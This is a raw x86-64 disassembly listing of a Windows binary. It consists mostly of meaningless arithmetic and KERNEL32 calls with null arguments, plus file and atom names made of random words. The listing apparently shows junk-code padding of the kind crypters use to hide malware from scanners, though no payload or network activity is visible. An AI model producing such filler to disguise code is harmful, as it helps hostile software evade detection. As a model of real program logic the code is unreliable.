movzx eax, word [rsp + 0xc04]
mov word [rsp + 0xc74], ax
mov rcx, qword [rsp + 0x9380]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4414], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x9718], rax
movzx eax, byte [rsp + 0x71]
movzx ecx, byte [0x1401e6012]
sar eax, cl
mov rcx, qword [rsp + 0x9028]
mov byte [rcx], al
movsx eax, word [rsp + 0xb84]
movsx ecx, word [rsp + 0xba8]
xor eax, ecx
mov word [rsp + 0xc64], ax
lea rax, [rsp + 0xbb4]
mov qword [rsp + 0x9720], rax
mov rax, qword [rsp + 0x95e0]
mov rcx, qword [rsp + 0x90e0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9090]
mov qword [rcx], rax
mov eax, dword [rsp + 0x43cc]
mov dword [rsp + 0x4464], eax
mov eax, dword [rsp + 0x43f8]
movzx ecx, al
mov eax, dword [rsp + 0x4388]
shl eax, cl
mov dword [rsp + 0x41b8], eax
mov rax, qword [rsp + 0x90d0]
mov rcx, qword [0x1401e7410]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9408]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9240]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7f]
sub eax, ecx
mov rcx, qword [0x1401e7498]
mov byte [rcx], al
lea rax, [rsp + 0x72]
mov qword [rsp + 0x9728], rax
mov rax, qword [rsp + 0x93a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9430]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc3c], ax
movzx eax, word [rsp + 0xc10]
mov word [rsp + 0xc78], ax
movsx eax, byte [rsp + 0x5c]
movsx ecx, byte [rsp + 0x61]
add eax, ecx
mov byte [rsp + 0x87], al
mov rax, qword [rsp + 0x9498]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9068]
mov dword [rcx], eax
mov rax, qword [rsp + 0x95d0]
mov rax, qword [rax]
mov qword [rsp + 0x9730], rax
mov rax, qword [rsp + 0x9390]
mov rcx, qword [rsp + 0x90e0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4228]
mov dword [rsp + 0x4468], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x96b0], rax
lea rax, [rsp + 0xc3c]
mov qword [0x1401e74e8], rax
movzx eax, byte [rsp + 0x5d]
movzx ecx, byte [rsp + 0x6b]
sub eax, ecx
mov rcx, qword [rsp + 0x9678]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x90f8]
mov word [rcx], ax
lea rax, [rsp + 0xc28]
mov qword [rsp + 0x9738], rax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5b]
add eax, ecx
mov byte [rsp + 0x78], al
mov eax, dword [0x1401e741c]
mov dword [rsp + 0x446c], eax
mov rax, qword [rsp + 0x9030]
mov ecx, dword [rsp + 0x43f8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x95b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90a8]
mov rax, qword [rax]
mov qword [rsp + 0x9740], rax
mov rax, qword [rsp + 0x94f0]
mov rcx, qword [rsp + 0x94e0]
mov qword [rsp + 0x9748], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9748]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9500], rax
mov rax, qword [rsp + 0x9250]
movzx eax, word [rax]
mov word [0x1401e74f0], ax
mov rax, qword [rsp + 0x9280]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x95a8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x90e8]
mov word [rcx], ax
movzx ecx, word [rsp + 0xb80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbec], ax
movzx eax, byte [rsp + 0x76]
mov byte [rsp + 0x88], al
mov rax, qword [rsp + 0x96e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x63]
sar eax, cl
mov byte [rsp + 0x64], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
lea rax, [rsp + 0xba4]
mov qword [rsp + 0x9750], rax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x96a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8f88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x43cc]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x442c], eax
mov rax, qword [rsp + 0x94e0]
mov rax, qword [rax]
mov qword [rsp + 0x9758], rax
mov rax, qword [rsp + 0x8c78]
mov ecx, dword [rsp + 0x4228]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x43dc], eax
mov rax, qword [rsp + 0x9738]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x90e8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7430]
mov word [rcx], ax
lea rax, [rsp + 0xc04]
mov qword [rsp + 0x9760], rax
mov rax, qword [rsp + 0x9028]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65]
add eax, ecx
mov byte [rsp + 0x72], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.C:_swiftConcordantVindicatePredictions
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9768], rax
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x9468]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9630]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rcx, qword [rsp + 0x8c08]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, str.Unsatisfactoriness_Inform_Intrigues_towered
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xc7c], ax
lea rax, [rsp + 0x74]
mov qword [rsp + 0x9770], rax
mov rax, qword [rsp + 0x9198]
mov rcx, qword [rsp + 0x8fc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4428], eax
mov rax, qword [rsp + 0x96c8]
mov qword [rsp + 0x9778], rax
mov rax, qword [rsp + 0x92b0]
mov rcx, qword [rsp + 0x8da0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9370]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4438], eax
lea rax, [rsp + 0x41bc]
mov qword [rsp + 0x9780], rax
mov rax, qword [0x1401e7450]
movzx eax, word [rax]
imul eax, eax, 0x676
mov word [rsp + 0xc40], ax
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x95d8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401e7480]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4328], eax
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x94d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8eb8]
mov word [rcx], ax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x9788], rax
lea rcx, str.Soprano_Unconfirmed
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xbec], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.C:concoctingBlackcurrantsReturning_aborted
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9790], rax
movzx eax, word [rsp + 0xbe4]
movzx ecx, word [rsp + 0xc28]
add eax, ecx
mov rcx, qword [rsp + 0x9060]
mov word [rcx], ax
lea rax, [0x1401e7420]
mov qword [rsp + 0x9798], rax
mov rcx, qword [rsp + 0x95b0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x438c], eax
mov rax, qword [rsp + 0x9298]
mov rcx, qword [rsp + 0x8f20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9210], rax
mov rax, qword [rsp + 0x90a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x95f0]
mov qword [rsp + 0x97a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x97a0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x43bc], eax
lea rax, [rsp + 0x4348]
mov qword [rsp + 0x97a8], rax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x90b8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x57], al
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
movzx ecx, word [rsp + 0xc44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc80], ax
lea rax, [rsp + 0xc20]
mov qword [0x1401e74f8], rax
lea rax, [rsp + 0x6b]
mov qword [rsp + 0x97b0], rax
movsx eax, byte [0x1401e6006]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x80], al
movsx eax, byte [rsp + 0x80]
movsx ecx, byte [rsp + 0x60]
xor eax, ecx
mov byte [rsp + 0x50], al
lea rax, [rsp + 0x93d0]
mov qword [rsp + 0x97b8], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x43f0], eax
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x42e8], eax
lea rdx, [rsp + 0x280d8]
mov rcx, qword [rsp + 0x9148]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4470], eax
mov rax, qword [rsp + 0x9420]
mov ecx, dword [0x1401e741c]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x445c], eax
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
mov qword [rsp + 0x97c0], rax
mov rax, qword [rsp + 0x9270]
mov rcx, qword [rsp + 0x9588]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4420], eax
movzx eax, byte [rsp + 0x57]
movzx ecx, byte [rsp + 0x75]
add eax, ecx
mov byte [rsp + 0x5d], al
mov rax, qword [rsp + 0x9118]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7478]
mov byte [rcx], al
mov rax, qword [0x1401e7430]
movzx eax, word [rax]
mov word [rsp + 0xc84], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movsx eax, word [rsp + 0xc30]
mov rcx, qword [rsp + 0x8e78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbdc], ax
movzx eax, word [rsp + 0xc38]
mov word [rsp + 0xc88], ax
mov rcx, qword [rsp + 0x90d8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c18]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9370]
mov qword [rcx], rax
mov eax, dword [rsp + 0x437c]
mov dword [rsp + 0x4474], eax
mov eax, dword [rsp + 0x445c]
mov ecx, dword [rsp + 0x43bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9498]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4478], eax
mov edx, 0x255a
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4478], eax
mov rax, qword [rsp + 0x9530]
mov rcx, qword [0x1401e7420]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9408]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov byte [rsp + 0x89], al
mov rax, qword [rsp + 0x8e78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc88]
and eax, ecx
mov word [0x1401e6060], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e00], rax
mov rax, qword [rsp + 0x91b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x94b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x59], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.C:_redirectmannedintellects_bedsitter
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x97c8], rax
mov rax, qword [rsp + 0x94f8]
movzx eax, word [rax]
mov word [rsp + 0xc8c], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9660]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc40], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
lea rcx, str.Rusting_embarrassingly_Gauze
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xbfc], ax
movsx eax, word [rsp + 0xba8]
movsx ecx, word [rsp + 0xbe8]
sar eax, cl
mov word [rsp + 0xc50], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rax, qword [rsp + 0x9188]
mov qword [rsp + 0x97d0], rax
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x447c], eax
mov rax, qword [rsp + 0x9180]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4364]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4214], eax
lea rax, [rsp + 0x96d8]
mov qword [rsp + 0x97d8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x11a4
mov r9d, 0xcc7
mov r8d, 0xcbbf189a
mov edx, 1
mov rcx, qword [rsp + 0x9290]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4354], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x9710]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x43cc]
shl eax, cl
mov rcx, qword [rsp + 0x9088]
mov dword [rcx], eax
lea rax, [rsp + 0x6d]
mov qword [0x1401e7500], rax
movzx eax, word [rsp + 0xc18]
mov rcx, qword [0x1401e7488]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x94f8]
mov word [rcx], ax
lea rax, [rsp + 0x76]
mov qword [rsp + 0x97e0], rax
lea rdx, [rsp + 0x4358]
mov rcx, qword [rsp + 0x9380]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4480], eax
mov rax, qword [rsp + 0x91b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x78]
add eax, ecx
mov rcx, qword [rsp + 0x9338]
mov byte [rcx], al
movzx eax, word [rsp + 0xc64]
mov word [rsp + 0xc90], ax
mov rcx, qword [rsp + 0x9398]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x42f0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0x97e8], rax
mov rax, qword [rsp + 0x8c70]
mov rcx, qword [rsp + 0x8ff8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9278], rax
mov rcx, qword [rsp + 0x9510]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x42f0], eax
lea rax, [rsp + 0x9690]
mov qword [rsp + 0x97f0], rax
mov rax, qword [rsp + 0x9698]
mov ecx, dword [0x1401e6014]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43f8], eax
mov eax, dword [rsp + 0x4394]
mov ecx, dword [rsp + 0x43bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4450], eax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x90b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e6012], al
movzx eax, byte [rsp + 0x7e]
mov byte [rsp + 0x8a], al
movzx ecx, word [rsp + 0xb7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc94], ax
movzx eax, word [rsp + 0xc14]
mov rcx, qword [rsp + 0x9440]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbe0], ax
mov rax, qword [rsp + 0x92b8]
movzx eax, word [rax]
mov word [rsp + 0xc98], ax
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [0x1401e602a]
add eax, ecx
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0x93c8]
mov rcx, qword [rsp + 0x92f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9318], rax
mov eax, dword [rsp + 0x4378]
mov dword [rsp + 0x4484], eax
movzx ecx, word [rsp + 0xbbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbec], ax
mov edx, 0xcad
mov rcx, qword [rsp + 0x8c08]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x42e8], eax
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0x9590]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9548], rax
mov eax, dword [rsp + 0x43a8]
mov dword [rsp + 0x4488], eax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8fb8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e6033], al
mov rax, qword [rsp + 0x95a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9738]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9350]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
xor r9d, r9d
lea r8, [rsp + 0x96e0]
mov rdx, qword [rsp + 0x8c48]
mov rcx, qword [rsp + 0x9380]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x42ec], eax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbe0]
xor eax, ecx
mov rcx, qword [rsp + 0x91c8]
mov word [rcx], ax
lea rax, [rsp + 0x7b]
mov qword [rsp + 0x97f8], rax
mov rax, qword [0x1401e7428]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8e78]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x93f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e98]
mov eax, dword [rax]
mov dword [rsp + 0x448c], eax
xor edx, edx
mov eax, dword [rsp + 0x4244]
div dword [rsp + 0x4474]
mov dword [rsp + 0x4378], eax
mov rax, qword [rsp + 0x8c98]
movzx ecx, al
mov rax, qword [rsp + 0x9128]
sar rax, cl
mov qword [rsp + 0x93c8], rax
mov rax, qword [rsp + 0x9548]
mov qword [rsp + 0x9800], rax
mov rax, qword [rsp + 0x90b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [0x1401e7458]
mov byte [rcx], al
movsx eax, word [0x1401e6044]
movsx ecx, word [rsp + 0xb8c]
sub eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fe8]
movzx eax, byte [rax]
mov byte [rsp + 0x8b], al
mov rax, qword [rsp + 0x9060]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9388]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x90e8]
mov word [rcx], ax
movzx eax, word [rsp + 0xc04]
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0x96d8]
mov rcx, qword [rsp + 0x9488]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97f0]
mov qword [rcx], rax
lea rcx, [rsp + 0x9808]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x8f90]
mov ecx, dword [rsp + 0x423c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x448c], eax
lea rax, [rsp + 0x91f8]
mov qword [rsp + 0x9810], rax
mov rax, qword [rsp + 0x9180]
mov rcx, qword [rsp + 0x9568]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4398], eax
lea rax, [rsp + 0x8a]
mov qword [0x1401e7508], rax
lea rax, [rsp + 0xc14]
mov qword [rsp + 0x9818], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0x8e78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc30]
sub eax, ecx
mov word [rsp + 0xb98], ax
lea rcx, [rsp + 0x268d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x9630]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9338]
mov byte [rcx], al
lea rdx, [rsp + 0x4490]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x43f0], eax
lea rax, [0x1401e6007]
mov qword [rsp + 0x9820], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8cf8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x9428]
mov rcx, qword [rsp + 0x8f00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4420], eax
mov rax, qword [rsp + 0x8cc0]
mov rax, qword [rax]
mov qword [rsp + 0x9828], rax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x9800]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e98]
mov ecx, dword [rsp + 0x42c4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9620]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x5d]
mov rcx, qword [0x1401e7458]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e6013], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.C:SkinnedlingeredLitigious_valiant
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9830], rax
mov rax, qword [rsp + 0x91e0]
movzx eax, word [rax]
mov word [rsp + 0xca0], ax
mov rcx, qword [rsp + 0x8f80]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x96b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9320]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb60], ax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x9838], rax
movzx eax, byte [rsp + 0x85]
mov rcx, qword [rsp + 0x91f0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x91c0]
mov rcx, qword [rsp + 0x9400]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x43e0], eax
movzx ecx, word [rsp + 0xc7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb90], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0x9658]
mov eax, dword [rax]
mov dword [rsp + 0x4494], eax
mov rax, qword [rsp + 0x9268]
mov rcx, qword [rsp + 0x9408]
mov qword [rsp + 0x9840], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9840]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x90d0]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.C:predominanceEmbeds
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9848], rax
movzx ecx, word [rsp + 0xc00]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc54], ax
lea rax, [rsp + 0x90c0]
mov qword [rsp + 0x9850], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
lea rdx, [rsp + 0x4478]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4498], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8f60], rax
movsx eax, word [rsp + 0xc08]
mov rcx, qword [0x1401e74e8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401e74c8]
mov word [rcx], ax
movsx eax, word [rsp + 0xba4]
mov rcx, qword [rsp + 0x9760]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e20]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
mov word [rsp + 0xca4], ax
mov rax, qword [rsp + 0x90b8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e601c]
add eax, ecx
mov byte [rsp + 0x7d], al
movsx eax, byte [rsp + 0x84]
movsx ecx, byte [rsp + 0x54]
and eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x9708]
mov qword [rsp + 0x9858], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0x97f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8da0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x446c]
mov dword [rsp + 0x449c], eax
mov eax, dword [rsp + 0x4228]
mov ecx, dword [rsp + 0x4484]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e90]
mov dword [rcx], eax
lea rdx, [rsp + 0x281b8]
mov rcx, qword [rsp + 0x9218]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x44a0], eax
mov rcx, qword [rsp + 0x9380]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x433c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9860], rax
movsx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x9750]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbc4], ax
lea rdx, [rsp + 0x281b8]
mov rcx, qword [rsp + 0x9148]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4274], eax
mov rax, qword [rsp + 0x96d0]
movzx eax, byte [rax]
mov byte [0x1401e741b], al
lea rax, [rsp + 0x5d]
mov qword [rsp + 0x9868], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x444c], eax
movzx eax, word [rsp + 0xb78]
mov rcx, qword [rsp + 0x94f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov byte [rsp + 0x8c], al
mov rax, qword [rsp + 0x9370]
mov rcx, qword [rsp + 0x9500]
mov rax, qword [rax]
